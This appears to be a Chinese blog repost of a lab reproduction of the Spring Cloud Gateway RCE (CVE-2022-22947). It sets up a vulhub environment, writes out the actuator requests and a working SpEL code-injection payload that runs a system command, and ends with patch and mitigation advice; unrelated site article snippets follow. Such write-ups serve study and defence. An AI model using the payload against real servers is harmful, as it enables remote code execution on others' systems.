Spring Cloud Gateway 远程代码执行漏洞(CVE-2022-22947)

2023-11-03

一、漏洞描述

Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的网关,它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式。

3月1日,VMware发布安全公告,Spring Cloud Gateway中存在远程代码执行漏洞(CVE-2022-22947),该漏洞的CVSSv3评分为10.0。当启用或暴露不安全的 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序容易受到代码注入攻击,远程攻击者可以通过发送恶意请求以执行任意代码。

二、影响版本

Spring Cloud Gateway 3.1.0

Spring Cloud Gateway 3.0.0 - 3.0.6

Spring Cloud Gateway 其它不支持的、已不再更新的版本

三、环境搭建

从vulhub下载Vulhub - Docker-Compose file for vulnerability environment漏洞库后,找到CVE-2022-22947直接启动

docker-compose up -d

四、漏洞复现

1、首先,修改GET /actuator请求,确定actuator端口已经开启

2、修改get请求,获取路由信息GET /actuator/gateway/routes/:

当前只有路由index,该路有默认跳转到uri:http://example.com:80

2、然后,构造一个post请求包,POST /actuator/gateway/routes/test 添加一个包含恶意SpEL表达式的路由:

{

"id": "test",

"filters": [

{

"name": "AddResponseHeader",

"args": {

"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}",

"name": "cmd"

}

}

],

"uri": "http://example.com:80",

"order": 0

}

3、刷新路由,POST /actuator/gateway/refresh

2、获取路由信息GET /actuator/gateway/routes/,新增路由test成功:

3、构造get请求,查看当前路由信息,GET /actuator/gateway/routes/test,检索结果命令执行结果,当前用户为root :

最后,删除我们前面构造的路由,DELETE /actuator/gateway/routes/test

五、解决方法

1、升级更新到以下版本:

Spring Cloud Gateway >= 3.1.1

Spring Cloud Gateway >= 3.0.7

2、缓解措施:

1.如果不需要Gateway actuator endpoint,可通过 management.endpoint.gateway.enabled: false 禁用它。

2.如果需要actuator,则应使用 Spring Security 对其进行防护,可参考:https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints.security

参考链接:

【漏洞通告】Spring Cloud Gateway 远程代码执行漏洞(CVE-2022-22947)-启明星辰

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Spring Cloud Gateway 远程代码执行漏洞(CVE-2022-22947) 的相关文章

  • windows live writer 离线写blog

    微软发布的软件windows live writer 可以离线写blog 也就是说 你可以在windows live writer这个软件编辑blog 然后点击 发布 见blog发送到指定网页上 前提是需要在windows live wri
  • 关于ios手机嵌套h5页面滚动兼容问题解决

    1 使用绝对定位 滚动元素使用绝对定位 position absolute top 0 left 0 bottom 0 height 100vh overflow y srcoll 2 添加兼容样式 webkit overflow scro
  • 华为OD机试 - 最大括号深度(Java)

    题目描述 现有一字符串仅由 六种括号组成 若字符串满足以下条件之一 则为无效字符串 任一类型的左右括号数量不相等 存在未按正确顺序 先左后右 闭合的括号 输出括号的最大嵌套深度 若字符串无效则输出0 0 字符串长度 100000 输入描述
  • stats

    本篇介绍基础包stats中的一个函数nls 它的作用是求解非线性回归的待定参数 nls formula data start control algorithm trace subset weights na action model lo
  • 标准库类型sring

    1 string 类型表示可变长的字符序列 需要包含头文件 include 2 定义和初始化 string 对象 拷贝初始化 使用了 号 直接初始化 用 3 string 对象的操作 cin lt lt string 会忽略前面的空白的无效
  • Java访问数据库的速度瓶颈问题的分析及解决

    内容 速度瓶颈问题的提出 JDBC访问数据库的机制 不同模式的 JDBC接口的选择 Java程序中SQL语句格式的优化 软件模型中对数据库访问的设计模式的优化 将深入研究的问题 参考资料 关于作者 FoolsGarden SMTH 自由Ja
  • 解决VS Code连接远程服务器使用Python中的matplotiib包画图无法显示的问题

    项目场景 在使用VS Code连接远程服务器使用Python中的matplotiib包画图时 会出现无法显示的问题 问题描述 在直接执行画图程序时 会报错 RuntimeError Invalid DISPLAY variable 原因分析
  • [Java学习]报错:类 OperatorDemo01 是公共的, 应在名为 OperatorDemo01.java 的文件中声明

    搭建好环境 用notepad 编写完程序 打开cmd编译文件 算数运算符 public class OperatorDemo01 public static void mian String args int a 6 int b 4 Sys
  • 编译原理(第四版)复习 (一)

    第一章 编译概述 编译程序 将高级语言所写的源程序翻译成等价的机器语言或汇编语言的目标程序 解释程序 也是一种翻译程序 将源程序翻译并执行 边解释边执行 两者的区别 解释程序的执行过程不会生成目标程序 编译过程的5个阶段 词法分析 语法分析

随机推荐

  • 用Python实现进制转换,这一篇教程就够了

    Python 实现进制转换 一 导言 导语 在计算机进行数据交换时 常常会有一个进制转换的过程 我们知道计算机只认0 和 1 在内存系统中 基本基于二进制进行运算的 但是有时候数据过于庞大 为了方便存储管理 计算机会使用十六进制存储数据 但
  • GNU-ld链接脚本浅析

    0 Contents 1 概论 2 基本概念 3 脚本格式 4 简单例子 5 简单脚本命令 6 对符号的赋值 7 SECTIONS命令 8 MEMORY命令 9 PHDRS命令 10 VERSION命令 11 脚本内的表达式 12 暗含的连
  • web前后端分离

    1 介绍 参考链接 https www cnblogs com leotsai p vuejs front backend architecture html 前后端分离的话 则可以很好的解决前后端分工不均的问题 将更多的交互逻辑分配给前端
  • JDBC学习(四)时间类型

    在Java代码中 java sql包原则上不能出现在DAO以外的地方 数据库和java中的时间类型的对应关系 DATE gt java sql Date TIME gt java sql Time TIMESTAMP gt java sql
  • 概念基础:恶意软件混淆的方法

    2020 05 20 看了一些网站的内容 发现主要存在四种方式 xor 加壳 base64编码 rot13 arm的一个指令 1 2 分别是简答介绍了这集中方式 3 是一个实验室的工具 可以取出一些混淆的字符串 但是只支持pe格式 在原理方
  • Android和iOS 测试五个最好的开源自动化工具

    本文主要介绍Android和iOS 五个最好的开源自动化工具 这里整理了相关资料 希望能帮助测试软件的朋友 有需要的看下 自动化测试在产品测试上有着非常重要的作用 实现测试自动化有多种积极的方式 包括最大限度地减少测试执行时间 在关键的发布
  • 相约久久网 -- 有很多东西值得学习

    http www meet99 com 转载于 https www cnblogs com yqskj archive 2012 10 07 2714622 html
  • flutter 怎么实现app整体灰度

    今天举国哀悼 进入各种大厂的app也可以看到主色都变成灰色的了 作为程序员我们肯定会想怎么可以实现的 我简单研究了10分钟 flutter中只要在整体外面套一个ShaderMask 然后修改blendMode即可 核心代码 class My
  • CentOS7目录结构详细版

    原文地址 http www cnblogs com ellisonDon archive 2012 10 03 2710730 html 原文地址 https www cnblogs com ellisonDon archive 2012
  • SpringBoot集成ShardingJDBC系列【2】—— 基于yaml基本配置

    文章只负责讲解sharding的相关配置 springboot其他的配置自己解决 文章内容将分开发布 便于平时查阅 基于yaml基本配置 在application yml配置文件中对mybatis plus做简单的配置 这里不对Mybati
  • Flutter设置Container的高度随ListView或者GridView

    在做移动端的时候 很多时候会需要下图所示的需求 如图1美团外卖首页的一部分 先进行需求分析 这个模块可以设计成Container包含GridView GridView中子内容个数由后台数据控制 但是在直接写Container包含GridVi
  • 第130篇 在 OpenSea 上创建自己的 NFT 商店(2)

    本文介绍一种通过自己部署智能合约 在 OpenSea 上创建自己的 NFT 商店的方法 1 ERC721合约 写一个最简单的标准 ERC721 合约 源码 SPDX License Identifier MIT pragma solidit
  • java 简介

    java 简介 1991 年Sun公司的James Gosling 詹姆斯 高斯林 等人开始开发名称为 Oak 的语言 希望用于控制嵌入在有线电视交换盒 PDA等的微处理器 1994年将Oak语言更名为Java 1 java体系结构 j2s
  • C语言笔记 指针 数组

    C语言中 指针做函数参数传递二维数组有两种基本方法 1 传递 数组指针 include
  • Openstack常用命令

    目录 一 创建用户 二 创建删除模板和模板其他操作 三 创建更新删除镜像 四 创建网络 五 VPN的使用 六 创建容器swift模块 前言 在linux中使用openstakc命令前 需要source etc keystone admin
  • 设计模式在开源框架中的应用

    设计模式不是虚的 实实在在出现在很多开源框架中 比如spring tomcat等等 现在这篇文章是一个阅读合集 整理了设计模式在开源框架中的应用 后续会逐渐补充 1 tomcat中设计模式的使用 Tomcat 系统架构与设计模式 第 2 部
  • 最大期望值(EM算法)学习

    20201008 0 引言 提示 本篇文章并没有详细的说明EM算法数学推导 虽然前面通过GMM的例子能够明白大致的思想 但是在底层数学推导部分没有非常完整说明 后续有时间可能会继续添加 如果想知道数学原理的读者 就不要浪费时间再看这篇文章了
  • TCP/IP学习笔记-PPPoE协议

    写在前面 仅供学习使用 PPPoE协议概述 PPPoE是一种把PPP帧封装到以太网帧的链路层协议 所以抓包的时候抓的是以太网协议 PPPoE利用以太网将大量主机组网 不仅具有以太网快速简便的特点还有PPP强大的功能 任何能被PPP封装的协议
  • OLED拼接屏生产流程全解析:关键步骤、注意事项和技术趋势

    OLED拼接屏作为现代商业展示 会议室和指导系统中的重要组成部分 其高亮度 高对比度和逼真的色彩效果备受推崇 然而 要实现一块完美无缝的OLED拼接屏并非易事 本文将深入探讨OLED拼接屏的生产过程 包括关键步骤 注意事项以及当前的技术趋势
  • Spring Cloud Gateway 远程代码执行漏洞(CVE-2022-22947)

    一 漏洞描述 Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的网关 它旨在为微服务架构提供一种简单 有效 统一的 API 路由管理方式 3月1日 VMware发布安全公告